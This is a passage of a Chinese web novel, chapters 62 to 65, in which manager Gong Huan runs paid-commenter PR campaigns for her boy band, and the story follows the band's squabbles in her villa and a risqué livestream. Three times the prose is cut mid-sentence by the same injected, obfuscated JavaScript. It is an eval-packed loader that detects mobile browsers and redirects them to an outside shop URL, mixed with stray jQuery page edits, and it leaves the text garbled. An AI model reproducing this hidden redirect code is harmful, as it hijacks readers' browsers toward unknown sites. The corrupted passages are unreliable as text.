“我说过,你要相信我,我不会让事情就这么结束,”宫欢说,“现在不一定是真实的粉丝,很大一部分是水军——郑羽背后的璀璨娱乐,还有很多一线艺人背后的团队,我们只是被当成众矢之的了。” 三人里面,奚亭云一直没问过任何一句带疑问的话。 萧子重则是从宫欢给安声的解释中,听得出来她有底气,是不会白白受这个气的。 但安声想的不多,他性格单纯直接,有时还呆呆蠢蠢的,这时只觉得宫欢表现出来的样子是一种推开,不负责任。 宫欢不让他看微博,不让他去看任何相关新闻。 安声根本做不到。 他是男团的主心骨,他享受舞台上的耀眼,可下了舞台,怎么有那么多让人措手不及的事情。 混乱的脏水一次次泼来,他不能做出任何解释,没人会信。 站在舞台上的动作那么简单,可背后却连接着千丝万缕的线,复杂而麻烦。 安声呼吸急促,眼眶微微红着,生气又委屈。 宫欢叹了叹气,放软声音劝他:“不要急,不要急。现在一堆人正骂着,你怎么说怎么错,必须要在合适的时机公关,否则只会越抹越黑。不是任何事情第一时间澄清就是好的,我们要慢慢超越。” 奚亭云也出声:“我们的舞台并不失败,起码已经有很多人关注到了我们,不是吗?” “我不想听!”安声打断道。 他什么解释都听不进去,只认为遇到一次挫折就好像世界会彻底崩塌。他转身快步走出大厅外,谁也不理。 客厅里一时只剩下有些安静的三人。 宫欢知道,准备了这么久的初舞台,临时遇到的危机都被他们顺利度过了,可没想到紧跟而来的还有更大的麻烦。 是谁都会觉得前途黑暗,并没有想象中的那么简单,好像只要登上舞台,就能轻而易举地获得所有成功与关注。 没那么简单的。 “你们,”宫欢看向坐在沙发上当雕塑的两人,“有什么想说的?” 奚亭云抬头看她,轻轻摇头:“没有,我相信你。” 宫欢笑了声:“那我要谢谢你的信任了。” 接着她又问萧子重:“萧大少爷有何指教?” 萧子重双手撑在膝盖上,做出一个深思的动作,宫欢叫他时,他重重呼出一口气,神情凝重: “我只有一个问题,什么时候解散。” 一秒钟,沙发靠枕砸了过来,将萧子重砸得几乎摔地上,宫欢炸了:“解你个头,滚蛋——!” 62. 作孽经纪人 男团出道就遭滑铁卢,打击的确很大。 但宫欢从来都不是任人揉捏的软柿子,她是颗榴莲,表皮全是刺,谁敢碰上来那就是自找死路。 各大平台的舆论炒到第三天时,宫欢先是放出了【围炉夜话】的全过程无删减花絮,将夏信拉下场垫背。 仅仅是这样还不够,现在局势复杂,这一颗小石子激不起多大的波浪。 这几个日夜来,宫欢和助理们日夜轮转,时时刻刻将神经悬在营销手段上面,中途开过几次会议,都在想用什么公关方案,好让外包公司去执行。 有位助理大胆提出:“我有个损招。” 宫欢倒好奇了:“有多损?” “这两天我发现有一些人关注了X男团,其实男团的舞台和形象都非常出色,但是现在被TXT那边一直压着,差一个起来的契机。”小助理说。 宫欢点头算作肯定,让她继续往下说。 小助理得到肯定,更有信心地说着:“男团在舞台上面摘掉耳返的舞蹈动作,通过营销号的炒作吸引了一些粉丝,我觉得我们可以借这个点去营销,让水军去大肆宣传内幕,说耳返没音乐是对家干的。” “反正TXT那边诬陷陈闪闪的脸是我们做的,那我们也可以这样诬陷过去。”小助理愤愤地说。 宫欢心虚地摸了摸鼻子,“你说得不错,可以先这么带一下节奏,晚点让水军开始往这个方向去控评。” “还有更损的招吗?”宫欢问。 几个小助理和高姐互相看了看,高姐面色严肃地扫了眼几人,导致没人敢说话。 宫欢敏锐地察觉出问题:“有什么就说。” 有个小助理偷偷看了眼高姐,盯着对面杀死人的目光说:“还有个办法……就是因为欢姐的形象是比较狂妄嚣张的嘛,之前韩雨寒的很多粉丝就说你一直操控他,导致很多粉丝怜爱心疼韩雨寒。” “那,这次其实,也可以稍微,尝试一下......” 越说到后面,助理声音越小,高姐的眼神快要把她吊起来打了。 “不行!”高姐先于宫欢一步否决,她黑着脸,手指拿着钢笔在会议桌上敲着,“她本来就臭名昭著,再这样炒作,以后圈里人脉还怎么经营?这招是捡了芝麻丢了西瓜!” 臭,臭什么? 宫欢默默看向高姐,无辜地眨了眨眼睛,一时不知道她在护她还是骂她。 宫欢仔细想了想,把男团塑造成一个刚出道的弱小无助团队——外有TXT粉丝封门决战,内有黑料经纪人无情操控,两边受苦受难啊。 别说,就连她想想都心疼了。 再说,这还是三个大帅哥,一下就代入了美强惨的人设。 至于她,别管了,挣钱就要豁得出去,宫欢也不是一次两次背这些锅了。 现在初舞台过去,正是紧张的水花期,扛过这阵就是上升期了! 宫欢拍板定下决定:“就这么干。” 她转身在白板上写写画画,让助理们协助她:“联系外包营销,专注于给男团卖惨,标题我都想好了,上有作孽经纪人,下有营销老前辈,夹缝中如何生存!” “男团舞台的视频剪成两种,一种是个人视频,一种是三人团队舞,”宫欢条理清晰,各个平台的用户调性拿捏到位,“个人视频吸唯粉,团队视频吸团粉,每个平台都用不同的文案风格,去找个视频外包公司搞定,看看他们谁更受欢迎。” 助理举手,看着电脑的数据说:“目前安声粉丝量最高,而且用户多为年轻人,安声的主C位和个人舞蹈功底都非常优秀,年纪小,粉丝受众群体更广泛。” 宫欢点头:“我想也是,就先这么定下吧。” “等等,”高姐终于憋不住开口,盯着宫欢皱紧眉头,“你真要把自己搭进去!?这值得吗,洗白的手段多的是,时间久了有更奇葩的爆料冲淡这些事情,你非要把自己也压在赌桌上吗!” 宫欢看了眼其他助理,助理们自觉地散会离开。 等人走完了,宫欢侧头看向别墅外的风景,她的脸带着波澜不惊的沉着,让高姐一度幻视了宫家当家人的影子。 她们冷傲,精明,利益至上,带着有些让人后怕的豁得出去的拼劲。 “不论做任何事,都会面临风险,”宫欢声音平静,“这些舆论对我来说,只是无关痛痒的东西,是可以利用的一种东西,如果在乎它,那才是把自己搭进去了。” 说完,宫欢离开了会议室。 高姐静坐了很久,默默叹了口气。 - 舆论风波第四天。 众人吃瓜都吃不过来。 前有TXT男团与X男团的扯头花,后有【围炉夜话】夏信耍大牌实锤。 有人说,宫欢就是圈中吉祥物,所到之处片甲不留,见者都躲着走。 有些网红明星也跟着蹭热度,特意去找大师算命,问:如何能火? 大师答曰:“远离宫欢,得道成仙。” 一时之间,圈内传言,碰到宫欢最好躲着走,否则必凉。 与此同时,吃瓜群众中流传出更多内幕,X男团是被宫欢忽悠签下的艺人合约,被迫成团出道,这一下吸引了一些路人粉丝,纷纷站出来: 【我说怎么之前从没见过他们呢,原来是宫欢不知道从哪儿忽悠来的大帅哥啊。】 【帅哥实惨,被最坑的经纪人签约了。】 【她也太会挑人了,一个个全是硬帅型的。】 有博主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126353|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剪辑分析了三人初舞台的视频,点出摘下耳返的高光时刻—— 这段全网传遍的初舞台高光名场面,其实是舞台失误,三人耳返全部出了问题,紧急应对的时候才不经意造成了名场面。 这观点一出,不少人都去重复看那段视频,【敢说敢言】的相关播放量节节攀升,节目本身的内容反而过于平淡,两个男团的对撕才精彩至极。 风向渐渐转变,宫欢看准时机,又找人放出了彩排训练的路透视频,营造出X男团一直在电视台彩排的刻苦形象。 好巧不巧,网上出现一个十八线网红想借机蹭热度,发出彩排期间,陈闪闪等人泡夜店、混酒吧的模糊照片:【猜猜这是谁?】 一时间,网民们纷纷轰然。 【陈闪闪本来就是玩咖啊,只有傻粉丝才以为他真是单纯的】 【他脸上那个绿的我玩过,就是酒局游戏里面的一个惩罚小游戏,估计陈喝完酒赶去舞台,结果忘了惩罚游戏吧。】 【起码隔壁X男团一直都在训练啊,舞台上最能说明问题,陈闪闪一个腰都下不下去的人,还好意思搞唱跳,笑了】 评论真假混杂,不少人都信了,于是原本无辜被陷害的陈闪闪成了新一轮的炮轰对象,TXT团粉和唯粉调转风向,责怪陈闪闪只顾自己,不管团队死活。 郑羽本想再往宫欢这边使点劲,可陈闪闪暴雷,她只得暂时放弃针对宫欢,转而去想方设法保住陈闪闪。 初舞台后的第五天,无论是TXT男团,还是陈闪闪,都已自顾不暇。 不知不觉间,X男团反而在乱流中稳了下来。 但宫欢还是要将他往上推一把。 做这些前,宫欢细细算了一笔账。 这段时间以来,她亏了多少钱。 男团上节目的酬劳是一分没有的,因为这是制片人的人情,宫欢不花钱就不错了。 演员之一关清英,出演民国剧里的女间谍,出场少片酬不多,差不多十几集是几万块,而且电视剧的时间战线拉的很长,收益很低。 演员重在培养,放长线钓大鱼,宫欢是急不得的,也催不得。 演员之二甘惊鸿,她是新人小演员,电影剧本主打一个混脸熟,片酬被压得很低,差不多也是几万块。 全是亏本钱。 短期内唯一能获得收益的,只有男团和宫欢了,男团的潜力无限,只要稍微把握好风向,获得的收益会更多。 第七天,各家营销号媒体放出了:【上有作孽经纪人,下有营销老前辈,夹缝中如何生存!】 宫欢安然地躺在床上,睡下了第一个安稳觉,对社交媒体平台来说,这是一场新的风波,而对宫欢来说,这是此次男团第一个水花的,完美收尾。 63. 养生之道(赵莉莉) 窗口的纱帘微微拂动,晨风吹入房间带起一片凉意。 一只手伸了出来,将两扇窗户推开通风。 女人掩唇打了个哈欠,看向别墅后花园中的清新绿植,呼吸了一口新鲜空气,心情舒畅。 ——这是赵莉莉搬来别墅的第五天。 简单洗漱过后,她换了身白绸暗纹的太极服,随手扎起头发盘在脑后,走出了卧室。 门刚一拉开,大厅传来骂骂咧咧的吵嚷声,猛然将她的困意驱散得一干二净。 楼下大厅鸡飞蛋打,抱枕棉絮满天飞,还有一来一回的叫骂声。 “你这是限制我人身自由!” “不限制你命都没了,外面多少人盯着你们看不见吗。” “要不是英子在外面拍戏,我非得让她把你们都给铐起来!” “我要出去,我不要跟欢姐待在一起。” “别闹了乖,你妈妈让我好好看着你,都说了那些负面新闻过段时间就下去了,互联网没有记忆,过几天你们又是新生。” 赵莉莉默默叹气。 这都几天了,还没吵完啊。 她在A市有自己的住所,但前段时间被狗仔扒出来,现在门口蹲了不少人都在准备拍下新绯闻。 赵莉莉嫌烦,联系宫欢确定签约后暂时搬了过来小住。 搬来的那一天还好,大家都还很克制,第二天开始互相埋怨,发泄着心里的憋闷。 赵莉莉下了楼梯,准备装作看不见,去后花园练她的太极。 谁知道萧子重一眼看见她,两步走过来,强拉着赵莉莉要她公平说话:“你来评评理,谁负面新闻缠身还会被影响出行的啊!这不就是摆明了软禁,谁都不会愿意的吧!” 赵莉莉误入战场:“......” 一直在沙发上单手撑着下颌看宫欢的奚亭云这会有了动静,他插话说:“我——” “你闭嘴!” “你闭嘴!” 两道声音同时打断奚亭云,以往只有萧子重,这回还多了个安声,他也拉着脸不太高兴的样子。 显然,两人都知道奚亭云会说什么。 宫欢震惊之余,意外地说:“安宝,你怎么还能随便打断别人说话了——萧子重你都教了他什么,一个好孩子被你带成这样!” 萧子重气不打一处来:“带什么带,我们完全是被你这个大恶人逼成这样,门不能出,饭不能吃,就差悬梁了。” “他年轻也就算了,你多大年纪了还这么浮躁,现在就是舆论阶段,只要撑过去就好了啊!” “谁知道你说的撑是撑多久,一年两年五年十年,还是一辈子?” 眼见两人又吵了起来,赵莉莉默默往后退步,想躲开这针锋相对的场面。 没退几步,又被宫欢拽回来,她咋咋呼呼地说:“莉莉,你来说句公道话,这种时候是不是老老实实呆着最好!” 男团正是受到关注的时候,到处都是狗仔,必须要降低出镜率。 不当和事佬是真的不行了。 赵莉莉只得委婉地劝解,她先看向萧子重说:“宫欢的做法是对你们目前来说最好的一种解决办法,很多新人出道非常容易搭在这种事情上面。” 宫欢听得扬眉,朝萧子重晃了晃头,嘚瑟道:“看吧,我就说了,还不信我是专业的。” 接着赵莉莉又话音一转,“可艺人也是需要私人空间的,如果你管得太严格他们会有逆反心理,反而更不好继续合作,你是站在利益方面考量,他们则是心理需要放松。” 萧子重又学着宫欢刚才嘚瑟的样子,搞怪似的耸肩晃脑:“——看吧,我就说了~” 宫欢狠狠瞪他一眼,只好不情不愿地松了口:“行吧,莉莉都这么说了,那你们该干嘛干嘛去吧,但是要敢给我跑夜店泡酒吧——”她挨个凶巴巴地瞪着,“我就减掉你们所有碳水!” 总算劝完了。 一阵吵吵闹闹下来,晨练时间已经超过了不少,再加上到了早饭时间,只能停止。 赵莉莉有自己的作息时间表,她看了眼时间,无奈地绕回房间换下练功服。 中午则是练瑜伽的时间,她换了身瑜伽服,来到后花园铺上瑜伽垫,刚做了一个深呼吸,准备做伸展动作。 旁边的花园小径上,宫欢和高姐在为营销工作互相争吵。 “把你设立成欺压男团的形象招了多少恨,”高姐生气地说,“你还想做营销?你是忘了自己一直是什么形象了吗,不洗白不澄清就算了,你还想黑上加黑。” “哎呀,就这么一阵,等我把他们养起来了,就不用拿自己做噱头了嘛。”宫欢不以为然地解释,“这也是一种营销手段。” “营销营销,你就知道营销,你知不知道这些负面影响对你以后的......会产生多大的影响!” 两人言词激烈,说着说着就吵起来了。 赵莉莉的身心瑜伽被迫暂停,只好卷起瑜伽垫换了个花园位置。 这回刚铺好瑜伽垫,男团三人来到花园里开始嘀嘀咕咕。 “老奚,我们严重怀疑你是宫欢的托!” “奚哥,你刚才是不是想帮欢姐说话!” “......很明显吗?” “你说呢!!”两人异口同声。 赵莉莉生无可恋,只得将作息表里的身心瑜伽也跳过了。 没事没事。 她的作息表里晚上还有一个长寿功,到时候她回房间做,应该没人会打扰了。 而吃过晚饭后,赵莉莉准备上楼时,又被宫欢拦住,拿了一堆剧本给她看,让她挑挑看有没有中意的剧本。 赵莉莉应下,抱着剧本刚回到房间,手机上接连传来一些圈内熟人的问候,多是来打探她和陈丰的关系。 回消息应付,翻了翻剧本,一切过后临近23点,早过了练功的时间。 赵莉莉反复深深呼吸,最终还是没忍住崩了。 她两眼发红,看了眼贴在房间的作息表,所有日常行为都没做,一项都没有完成!! 她发泄似的,自暴自弃地拿着自己的音响,一路从三楼下到大厅,打开音响,音量加到最大,放出最劲爆最刺耳的DJ音乐。 大厅的灯光调节成了五颜六色,还会随着音乐节奏变换交替,整个内部大厅几乎成了舞池。 大半夜的,音乐狂响。 众人纷纷走出卧室,在楼梯口探出头往下看,只能看见穿着太极练功服的赵莉莉在摇头晃脑,疯狂大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126354|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吼大叫,一点儿形象包袱都没有了。 白天看起来漂亮大气的温柔大姐姐,此刻完全疯成大家不认识的样子。 谁也不敢吭声,一个个互相看了看,心知肚明自己今天闹得多厉害,才把一个正常人逼疯了。 - 这几天,众人和赵莉莉有些熟悉了,知道她的一些“日常行为”。 清早,她必须要在后花园跳八段锦,然后回来会温柔地在餐桌上和大家笑呵呵地谈天说地。 反之,如果没有达成这点,她在餐桌上就会冷冷淡淡的,谁都不爱搭理。 之前得知宫欢签下赵莉莉时,众人都有些诧异,因为男团这三人都是她从不知名的犄角嘎达里捞出来的,大家默认宫欢一般只会扶持新艺人,而关清英则是主动找到宫欢寻求改变的。 赵莉莉在圈内小有名气,不算大火,却也是人人都眼熟的一位演员。 尤其是最近和陈丰的绯闻传得火热,众人多少也有些好奇,只是藏着没表露出来,不敢多问,怕赵莉莉再度疯起来,只敢旁敲侧击的偷偷问宫欢。 他们忘了宫欢一向有多莽——她直接去问了当事人。 赵莉莉刚从外面回来,手里提着两袋子东西,认不出是什么。 宫欢拦住她说要聊聊,赵莉莉才将手里的东西放在茶几上,袋口未封,能看见里面是堆积在一起的——中药材。 陈皮,茯苓,芡实,淮山药,麦冬,枳实等等等等,袋口幽幽向外散发着安全难闻的药味儿。 “你去哪儿买的这些?”宫欢看了看那塑料袋,贴心道,“可以让助理去帮你买。” 赵莉莉一根嫩白的手指在宫欢眼前轻轻晃了晃,她双手保养得当,不比脸差:“不不不,她们不懂这些的,中药材要挑着买,一不小心很容易被骗的呀。” 宫欢看不懂这些,只顺着她说:“你对这些还挺了解的。” 不说还好,一说赵莉莉就像打开了话匣子,她坐到宫欢旁边,离得很近,一只手捧着宫欢的脸左右观察。 “你最近熬夜太厉害了,”赵莉莉边看边咋舌,说得煞有介事,“好在年轻,暂时还不显露,你最近在用的大牌能勉强遮一遮疲惫,但是长期下来肯定不行,非常容易有皱纹。” 宫欢被她说得一愣一愣,跟着她问:“那怎么办啊?” 赵莉莉说:“要内调,多喝点补气血的药膳,不然身体跟不上,你赚再多钱也花不了呀。” 两人就如何调理身体展开了深刻的讨论。 在门外,厨房,楼梯口躲藏着的三人和吃瓜的小助理们都顿住了,本想让宫欢来问八卦,结果没问成不说,人还搭进去了。 一个个自觉没意思的散了。 但从这之后开始,每个人有点小毛病都会被赵莉莉眼尖地看出来,然后被她拉住,喝下一碗赵氏特制汤药。 据受害人萧子重所说:赵氏汤药味苦泛酸,喝过的人都去吐了,但是强行喝下一碗后,身体确实有种舒畅感,身体轻盈,目清耳明,可谓苦口良药。 萧子重认为:“不到快要活不下去了,千万别喝。” 此后的一段时间里,别墅中都弥漫着一股淡淡的中药味,每次中药味加重时,大家都知道——赵莉莉又在熬药了。 64. 擦边直播 网络上的风波仍旧持续着,宫欢再次成为了众矢之的,男团的粉丝量日益增长,怜爱粉越来越多,三人粉丝量直近百万。 一切都在宫欢的掌控中。 TXT那边还在持续泼黑水,但都影响不大,陈闪闪则因泡吧事件、荧光脸事件一度销声匿迹,查无此人。 做人要低调,宫欢仍旧压着三人,没让他们出去抛头露面,这时候他们只需要扮演好被压榨的艺人,粉丝那就是刷刷地来啊。 三人在家闷着时,宫欢则出去四处应酬,拉资源找金主,现在手下人越来越多,三个演员要养,男团也要养,一时有种分身乏术之感。 宫欢不在家时,男团三人闹过一阵后,还是会默默私下提升自己。 初舞台的【电子蝴蝶】由杰西卡编舞,那时候安声其实就想尝试自己来,只是碍于他新人的身份,宫欢没有同意。 而初舞台过后,宫欢让他们筹备新歌新舞,避免一直跳老曲让粉丝们审美疲劳。 安声跃跃欲试,想为男团编舞,宫欢大力支持,让杰西卡协助他共同编舞。 除此外要先制定歌曲风格,歌词内容等等,宫欢带着安声连着几天都往外包音乐公司那边跑,音乐人李云晴协助,给出了几种曲风方案: “第一种:迷幻类,曲风比较缥缈高大上,让人目眩神迷。” “第二种:清爽夏日类,现在不是夏天快到了吗,这类风格可以去参加很多音乐节,也能吸引不少粉丝。” 没等李云晴说出第三种,宫欢就选定了第二种,她分析道:“清爽夏日风格比较让人有种怦然心动的感觉,不会给人一种高高在上遥不可及的距离感,像是身边非常好接近的朋友,就这个了。” 敲定曲风后,就是编曲内容,宫欢只带了安声来参与制作歌曲流程,另外两人的专业性都不够,也就没让他们掺和进来。 这可就给了萧子重借题发挥的地方。 富豪榜大群里,萧子重发言:【唉,人善被人欺,我就是太善良了才给某人欺压的机会。】 宫欢:【我看我还是下手太轻】 奚亭云发了个猫咪坐着的表情包。 甘惊鸿回:【前辈也被人欺负了吗?】 萧子重:【那,那倒也不是,这只是一种修辞手法,对了,你拍戏怎么样了。】 甘惊鸿:【一切顺利,过几天要在几个城市路演,首映礼之类的,本来以为杀青就好了,没想到这些后续流程也挺麻烦的。】 萧子重:【太棒了!上映的时候我一定去看!】 宫欢将手机锁屏,总觉得萧子重吵得要死。 歌词内容部分,宫欢要求三个人的唱词尽量平均,高潮部分每人两句,歌词不能太过紧凑,容易分走舞蹈的节拍。 确定大框架后,宫欢放手给丢李云晴,编舞则就丢给安声,等最终结果。 编舞进行中时,需要根据背景乐曲的鼓点节奏,歌词的高潮迭起来适配,比之前纯乐曲风要更有难度。 安声常常在舞蹈室内支起手机镜头,一段一段的去排舞,每次跳完再看舞蹈的呈现效果。 有时候杰西卡会拿着手机帮他运镜,一天拍下几十个视频都是常有的事情。 一些视频的效果不错,安声就将视频稍微剪辑一下发布在音符软件上,短短几小时吸引来了不少围观群众,点赞量直线攀升。 舞蹈视频的背景音乐换成了强劲的动次打次,非常炸耳,配合安声灵活柔韧的肢体动作,短短半小时突破10万播放量,8万点赞量。 视频内安声并没有戴口罩之类的遮挡物,有些路人认出他了。 安声的个人账号经营了多年。 在学生时期就偶尔发发练舞视频,进入夜店跳舞后发了一两条擦边视频,经过他最新发布的这条视频引流,不少人点进了主页,擦边视频的播放量猛增。 仅仅是一天的时间,两条视频都爆了,评论区都在问: 【他就是X男团的主C吗!?太权威了吧,专业舞蹈生打败了多少流量爱豆啊!】 【从擦边视频过来的,鼻血一直流没停过】 【节奏和韵律感太强了,怪不得是主舞,不火天理难容啊!!】 【啊啊啊终于挖到宝藏了!!!】 评论区都在起哄,不少人闹着让安声开直播,想看直播聊天,想知道他私下是什么性格。 微博粉丝量也随之增加,一度成为男团三人中粉丝量最多的一位。 他年龄最小,外表长相呆萌更讨人喜欢,再加上风格形象的塑造,受众多是二十多岁出头的年轻人。 安声排舞休息间隙看到评论区和私信里一堆的催直播,也有些蠢蠢欲动。 于是就在一个月黑风高的夜晚,安声打开了直播界面,开始了直播。 一时间,大量路人粉丝涌入直播间,安声有点懵懵地问:“你们都想看什么?” 网友们热烈地捧场,还有些指教他:【把房间所有灯光关掉,打开紫光和蓝光。】 虽然不太懂这些操作,但安声还是照做了,他在舞蹈室将所有刺眼的光关闭,只开了彩灯。 接着评论区说: 【衣服领口拉大点。】 【眼神飘忽一点!对对对就是这样!】 【啊啊啊啊阿好刺激!!】 【什么!?安声你这么听话的吗??】 安声越照做越觉得有种回到夜店上班的感觉,他有些犹豫纠结。 大概直播间里的网友们看出来了,有些人开始刷起礼物。 安声没关赠送礼物的设置,一时间被接二连三的礼物轰炸得发懵,他解释道:“麻烦不要再送礼物了,这个怎么关啊......衣服拉到腹部,露出腹肌?不行,会被封的。” 他在舞蹈室嘀嘀咕咕,没注意到玻璃门外的走廊有个人影在慢慢靠近。 宫欢是准备来看看几人这段时间有没有松懈下来。 没想到路过门外,就发现舞蹈室里面一片迷幻的紫色,昏昏暗暗的,排舞有时会开这些灯光来打氛围,可一般都是多种灯光齐上阵,像只开紫光的她还是第一次见。 越靠近,就越能听清里面一些低声细语,宫欢竖起耳朵,放轻脚步:“这样总可以了吧,只能露这么多了,再多点我要被骂了。” 宫欢敏锐的神经一下绷紧,她趴在门口探头进去,一眼看清里面的景象后差点当场气晕过去。 “安声!!!你干嘛呢!!” 舞蹈室内,安声上身的衣服半斜,领口较大直接露出了大部分的胸肌,他一只手撩起衣服下摆,露出下腹的肌肉皮肤。 被宫欢撞见后慌慌忙忙地将衣服拉好,结结巴巴地解释:“我,我只是在直播。” 宫欢进了舞蹈室,拿起手机一看,评论区那叫一个红橙黄绿青蓝紫,她黑着的脸怼到镜头上,直播间内是放大的脸: “直播到此结束。” 然后退出了直播页面。 安声知道自己惹了祸,低着头小声解释:“她们说可以露一点,不会出问题的。” “她们说什么你信什么?” 宫欢抱起手臂,严厉地绕着他转圈教育,“你现在是个上升期的爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126355|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆,一举一动多少人盯着呢,我不让你们外出就是减少出镜率,让粉丝们抓心挠肝地想知道你近况。” “发舞蹈视频也就算了,我都尊重你的意愿,现在呢,你跳擦边舞那么熟练,万一有人问你怎么那么会跳的,你怎么说?万一有人诬陷你以前是跳艳舞的怎么说!” 安声这段时间和宫欢闹一些小矛盾,男团初舞台后网上非议众多,他一直闷闷不乐。 他这会还有些不服气:“那也不是诬陷我......就是跳过的嘛。” 宫欢简直要被他气疯,她当即就拿出手机,在联系人列表里找人打电话,她骂骂咧咧:“好好,我是管不了你了,我让你妈妈来管你。” 这一下戳到安声软肋,他瞬间服软,连忙伸手抓住宫欢拨号的动作,委屈巴巴地眨巴眼睛,可怜兮兮地叫她:“欢欢姨,你别打,我知道错了,我就是有点不高兴才这么做,我再也不跟你闹脾气了嘛。” 宫欢冷冷瞥他:“还知道我是你姨,我看你是飘了,擦边舞都敢跳,欠收拾。” “你最近编舞怎么样了,还是太闲,多安排点杂事给你算了,”宫欢挣开他的手,收起手机,盘问起来,“编舞搞定了就让奚亭云和萧子重开始排练,你带队教他们。” “可以啊,编舞超级完美,”说到编舞,安声来了兴头,“杰西卡老师都说舞蹈和歌曲适配度特别高,夏天在一些音乐节上面表现好了绝对能爆!” 宫欢很相信安声的专业能力,她点点头,准备去忙别的,临走前又交代了几句:“不准再开直播了,也不许跳那些奇奇怪怪的舞,知道没。” 安声再三保证:“知道了欢欢姐,我再也不被她们哄着就屈服了。” “最好是。” 宫欢转身准备走人,一回头,玻璃门外站着一个奚亭云。 他单腿微曲,半正靠在门口,幽幽地看着他们,不知待了多久,不像是刚来的。 宫欢的小心脏受到冲击,险些被吓到,她后退半步,慌忙转身抓住安声,低声质问:“他什么时候过来的!?” 安声好像早就知道:“你说奚哥?从你要给我妈妈打电话的时候就来了。” “你怎么不等我死了再告诉我!”宫欢咬着牙说。 “?”安声睁着无辜的卡姿兰大眼睛,宫欢只得摁着他的头推到一边。 再转身时,宫欢已然带上那游刃有余的笑,她走到门口,装作礼貌地搭话:“好巧啊在这里遇到了哈哈哈,那个,你跟安声好好练舞,我先走了。” 宫欢几乎是不给人任何插话的机会,闷头绕开奚亭云往外走,没走两步就被他追上。 奚亭云一路跟着她,边走边闲聊似的:“你最近很忙吗,都没什么时间来看我们。” “忙啊,忙死了,”宫欢脚步加快,想甩掉他,“明天还要去趟B市跟几个制片人和导演见见。” “这么巧,”奚亭云音调略高,比平时都要高出一点,宫欢不由得看他,“我也要去B市。” 宫欢脚步慢慢停下,她疑惑不已:“最近你们都要排新舞练嗓子,去B市做什么?” 奚亭云也跟着停步,两人走出了地下区域,在半明半暗的交界线处,宫欢在光线下,奚亭云则在阴暗中。 他抿唇笑了笑,像是笃定宫欢拿他没办法:“有私人事情要回去一趟......” 他往前一步,离宫欢近了不少,日光的映衬下眉眼清晰起来,睫毛根根分明,奚亭云明知故问:“可以和你一起吗?” 宫欢能怎么办,她盯着他看了半响,丢下句“自己买机票”后走了。 65. 我好害怕(宫x奚) 奚亭云发现,宫欢最近对他的容忍度越来越高。 比起刚开始有些陌生疏离的态度,她退让了很多。 上次她主动地将他摁在沙发上…确实出乎意料,可那之后她就忙得似乎忘了他,占据欢欢身心的事情有很多,他在其中的占比实在太小了。 要主动,要强行在她身边刷存在感,要让她经常看见他。 创造相处机会就是其中的一个办法。 飞机上,宫欢坐在靠窗位置,奚亭云则坐在她外面。 乘务员端着托盘过来,柔声细语地说:“您的香槟。” 奚亭云两手托接,朝人点点头:“谢谢。” 接着他将香槟递给在做项目计划书的宫欢——她头都没有抬,说了声谢谢,伸手就要接过来,摸了几下却找不准杯子。 她有些茫然地抬头。 看见香槟杯在奚亭云的右手里,而她刚才摸了半天的,是他的左手。 “......” 宫欢实在不知道要说什么,最近他种种的勾引表现实在是拙劣。 她从没见过这么拙劣的上位手段,不过,拙劣也无妨,重点胜在他那张脸和身材,那就使得拙劣变得有些可爱。 她从来不会是被动的那方,她一向是主动方。 宫欢歪了歪身体,偏头看他,微微笑着:“不给我,是想喂我喝吗?” 奚亭云本就被她连着摸了几下有些坐立难安。他和她的座位相邻,只隔着一些物理障碍物。 被宫欢这么调侃一句,他眼神躲闪了下,默默将香槟放在她前方的桌板上,收回了手,侧着头不看她。 还装上了。 宫欢笑了两声,拿起高脚杯,抿了口香槟。 落地B市,宫欢这趟是来找剧本角色的,这趟她自己来就够了,也就没带助理。 出了机场,要分路走,宫欢问奚亭云:“你要去哪,看看顺不顺路。” 奚亭云这趟出行只是为了和宫欢独处的借口,虽然他有些手段过于明显,但如果太故意了,宫欢可能会不高兴。 他先反问她:“你去哪里?” 宫欢:“老城区吧。” 老城区,奚亭云之前炒饭的小吃街就在那边。 他也顺着她说:“我也去老城区,回去看看以前的熟人。” “哦,我记错了,”宫欢忽然改口,“我是去市中心,有几个导演在那边拍戏。” 奚亭云有些错愕地看着她,嘴唇微张,似乎找不到合适的理由跟着改口,纠结得厉害。 “噗嗤——”宫欢一下笑出来,她看出来了,“逗你的。” 她笑起来时,脸颊上的肉圆鼓鼓,眼眸弯弯,唇极艳丽,奚亭云一下就被晃了神,一时不知道是谁在撩拨谁。 两人坐上车,车子开往老城区。 宫欢的手机信息声没断过,叮咚叮咚的频频响起,她时不时回消息,一路上话不多。 足够了,能这样安静的和她待在一起,奚亭云就很满足了。 他接着手机掩饰自己的目光,在她身上停留,游移。 